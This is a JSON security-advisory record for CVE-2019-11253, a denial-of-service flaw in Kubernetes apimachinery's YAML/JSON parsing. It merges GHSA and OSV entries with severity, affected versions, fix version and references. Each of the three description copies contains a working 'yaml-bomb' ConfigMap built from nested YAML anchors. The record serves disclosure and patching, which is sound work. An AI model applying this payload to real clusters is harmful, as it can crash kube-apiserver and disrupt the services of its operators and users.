{"id":"GHSA-74fp-r6jw-h4mp","aliases":["GO-2022-0965"],"status":"published","title":"Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing","description":"CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. \n\nWhen creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a \"Billion Laughs\" attack which is quite well known as an XML parsing issue.\n\nApplying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.\n\n```yaml\napiVersion: v1\ndata:\n  a: \u0026a [\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\"]\n  b: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\n  c: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\n  d: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\n  e: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\n  f: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\n  g: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\n  h: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\n  i: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\nkind: ConfigMap\nmetadata:\n  name: yaml-bomb\n  namespace: default\n```\n### Specific Go Packages Affected\n- k8s.io/apimachinery/pkg/runtime/serializer/json\n- k8s.io/apimachinery/pkg/util/json","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-776"],"published":"2022-09-02T21:12:51Z","modified":"2026-08-07T08:12:24Z","fixes":[{"ecosystem":"Go","package":"k8s.io/apimachinery","fixed_in":["0.0.0-20190927203648-9ce6eca90e73"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"k8s.io/apimachinery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20190927203648-9ce6eca90e73"}]}]},{"source":"osv","ecosystem":"Go","package":"k8s.io/apimachinery","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20190927203648-9ce6eca90e73"}]}]},{"source":"osv","ecosystem":"Go","package":"k8s.io/apimachinery","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20190927203648-9ce6eca90e73"}]}]}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11253","tags":["advisory","web"]},{"url":"https://github.com/kubernetes/kubernetes/pull/83261","tags":["web","fix"]},{"url":"https://github.com/advisories/GHSA-pmqp-h87c-mr78","tags":["advisory","web"]},{"url":"https://pkg.go.dev/vuln/GO-2022-0965","tags":["web"]},{"url":"https://github.com/kubernetes/kubernetes/issues/83253","tags":["web"]},{"url":"https://groups.google.com/g/kubernetes-security-announce/c/jk8polzSUxs","tags":["web"]},{"url":"https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap","tags":["web"]},{"url":"https://github.com/advisories/GHSA-74fp-r6jw-h4mp"},{"url":"https://github.com/kubernetes/kubernetes","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-74fp-r6jw-h4mp","title":"Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing","description":"CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. \n\nWhen creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a \"Billion Laughs\" attack which is quite well known as an XML parsing issue.\n\nApplying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.\n\n```yaml\napiVersion: v1\ndata:\n  a: \u0026a [\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\"]\n  b: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\n  c: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\n  d: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\n  e: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\n  f: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\n  g: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\n  h: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\n  i: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\nkind: ConfigMap\nmetadata:\n  name: yaml-bomb\n  namespace: default\n```\n### Specific Go Packages Affected\n- k8s.io/apimachinery/pkg/runtime/serializer/json\n- k8s.io/apimachinery/pkg/util/json\n","status":"published","published":"2023-02-08T00:35:27Z","modified":"2024-05-20T21:45:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-776"],"updated_at":"2026-11-02T14:37:50.750599Z"}],"osv":[{"id":"GHSA-74fp-r6jw-h4mp","title":"Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing","description":"CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. \n\nWhen creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a \"Billion Laughs\" attack which is quite well known as an XML parsing issue.\n\nApplying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.\n\n```yaml\napiVersion: v1\ndata:\n  a: \u0026a [\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\",\"web\"]\n  b: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\n  c: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\n  d: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\n  e: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\n  f: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\n  g: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\n  h: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\n  i: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\nkind: ConfigMap\nmetadata:\n  name: yaml-bomb\n  namespace: default\n```\n### Specific Go Packages Affected\n- k8s.io/apimachinery/pkg/runtime/serializer/json\n- k8s.io/apimachinery/pkg/util/json\n","status":"published","published":"2023-02-08T00:35:27Z","modified":"2026-08-07T08:12:01.676448217Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-776"],"updated_at":"2026-11-02T15:46:40.308826Z"},{"id":"GO-2022-0965","title":"Unbounded recursion in JSON parsing in k8s.io/apimachinery","description":"Unbounded recursion in JSON parsing allows malicious JSON input to cause excessive memory consumption or panics.","status":"published","published":"2022-09-02T21:12:51Z","modified":"2026-08-07T08:12:24.808764329Z","updated_at":"2026-11-02T15:47:00.918515Z"}]}}